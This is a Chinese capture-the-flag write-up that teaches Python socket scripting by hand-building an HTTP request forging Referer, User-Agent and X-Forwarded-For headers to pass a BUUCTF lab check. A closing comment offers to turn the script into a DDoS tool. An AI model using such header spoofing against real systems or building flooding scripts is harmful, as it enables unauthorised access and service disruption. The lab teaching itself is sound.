#原因:自己本来已经写过这个题目了,但是最近看了一本关于使用python去写一些脚本的书,刚好想起来这道题目的情况很符合,而且也可以写出来让大家学习一下如何去写这个关于TCP连接的脚本#
一.前置知识及条件
1.前置知识
Ⅰ.关于TCP/IP协议:可靠,有序的连接,通过三次握手与服务器构成连接:SYN → SYN-ACK → ACK
Ⅱ.网络层的ipv4协议,将内容封装成ip数据包进行传输
Ⅲ.python自带的Socket包:Python 内置的网络通信模块,用于创建 TCP/UDP 连接,是所有网络脚本的基础
2.条件
Ⅰ.电脑没有相应的拦截请求工具如wireshark,burpsuite,Hackbar
Ⅱ.用于伪造一些请求头等等...
二.题目突破点
具体解题流程不在说明,先强调几点解题内容:
1.访问Secret.php的时候显示需要你使用从Sycsecret.buuoj.cn来跳转到这个页面

伪造部分:

2.要求你使用Syclover这个搜索引擎

伪造部分:

3.要求你使用本地进行连接访问

伪造部分:

最后得到:

通过以上三点可以得到三个需要我们修改的地方(我这边是一步到位,这道题目的情况基本上是一步一步得到这三个要求)
1:使用get协议去跳转到Secret.php然后伪造Referer:https://Sycsecret.buuoj.cn
2.伪造User-Agent:Syclover
3.伪造本地连接:X-Forwarded-For:127.0.0.1
三.脚本书写
1.导入相应的包
import socket
2.定义参数
target_host = "node5.buuoj.cn" # 目标服务器域名/IP
target_port = 25112 # 目标服务器端口(HTTP非默认端口必须指定)
我们既然要去连接,所以会有相应的网址以及端口需要我们进行填写,这边参数名可以随便填,但是我这边为了规范
3.创建TCP连接的Socket对象
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.socket():创建 socket 实例,参数是固定搭配:socket.AF_INET:使用 IPv4 协议(几乎所有场景都用这个);socket.SOCK_STREAM:使用 TCP 协议(面向连接、可靠传输,HTTP/HTTPS 基于 TCP);- 如果是 UDP 协议,第二个参数用
socket.SOCK_DGRAM(无连接、不可靠)。
4.建立TCP连接(握手)
client.connect((target_host, target_port))
connect():发起 TCP 三次握手,建立和目标服务器的连接;- 参数是元组 :
(主机, 端口),必须严格按「字符串 + 整数」格式;
5.构造HTTP请求(核心解题部分:按协议格式拼接字符串)
request = (
"GET /Secret.php HTTP/1.1\r\n" # 请求行:方法 + 路径 + 协议版本
f"Host: {target_host}:{target_port}\r\n" # Host头:指定目标站点(必选)
"User-Agent: Syclover\r\n" # 客户端标识(伪造浏览器)
"Referer: https://Sycsecret.buuoj.cn\r\n" # 来源页面(伪造)
"X-Forwarded-For: 127.0.0.1\r\n" # 伪造客户端IP
"Connection: close\r\n" # 响应后关闭连接
"\r\n" # 空行:分隔请求头和请求体
)
client.send(request.encode('utf-8'))
encode('utf-8'):把字符串转成字节流(TCP 传输的是二进制数据,不是文本);
send():把构造好的 HTTP 请求通过 TCP 连接发送给服务器
6.接受服务器返回的报文
full_response = b"" # 存储完整响应(字节类型)
while True:
chunk = client.recv(4096) # 每次最多接收4KB数据
if not chunk: # 无数据返回 → 连接关闭,接收完毕
break
full_response += chunk # 拼接数据块,避免截断
recv(4096):从 TCP 连接中读取数据,参数是「缓冲区大小」(通常设 4096/8192);- 循环接收:因为服务器响应可能超过 4KB(比如网页内容),必须循环读取直到无数据;
full_response:用字节类型存储(b""),避免拼接时编码混乱。
7.打印数据
print("=== 响应结果 ===")
print(full_response.decode('utf-8', errors='ignore'))
对得到的内容进行utf-8解码
8.关闭连接
client.close()
四.总结
注意缩进问题,因为python不是使用括号进行,python通过缩进来判断代码部分
脚本数据的整体流动流程:
脚本构造的 HTTP 字符串
↓ (应用层):按 HTTP 规则拼格式
转成字节流 → Socket 发送
↓ (传输层):TCP 分割成「数据段」,加端口(25112)
↓ (网络层):封装成「IP 数据包」,加目标 IP(node5.buuoj.cn 解析后的 IP)
↓ (数据链路层/物理层):通过网线/网卡发往服务器
↓ 服务器端:反向解析(IP→端口→TCP→HTTP),处理后返回响应
五.完整精修脚本
import socket
# 步骤1:定义目标
target_host = "test.com"
target_port = 8080
# 步骤2:创建socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 步骤3:连接
client.connect((target_host, target_port))
client.settimeout(5)
# 步骤4:构造POST请求
post_data = "user=admin&pass=123"
request = (
"POST /login HTTP/1.1\r\n"
f"Host: {target_host}:{target_port}\r\n"
"User-Agent: Chrome\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(post_data)}\r\n"
"Connection: close\r\n"
"\r\n"
f"{post_data}"
)
client.send(request.encode('utf-8'))
# 步骤5:接收响应
full_response = b""
while True:
chunk = client.recv(4096)
if not chunk:
break
full_response += chunk
print("响应结果:\n", full_response.decode('utf-8', errors='ignore'))
except Exception as e:
print(f"请求失败:{e}")
finally:
client.close()
如有问题及时提出,互相学习。
/#
我后面发现我这个脚本好像可以拿来作为一个基础脚本用来修改成Ddos攻击的攻击脚本,如果大家有兴趣,可以给我评论或者找我,我后面可以出一期关于将其修改成Ddos攻击的脚本(上述的所有学习内容,以及提供的方法仅作为学习内容,不存在任何的违法行为)
#/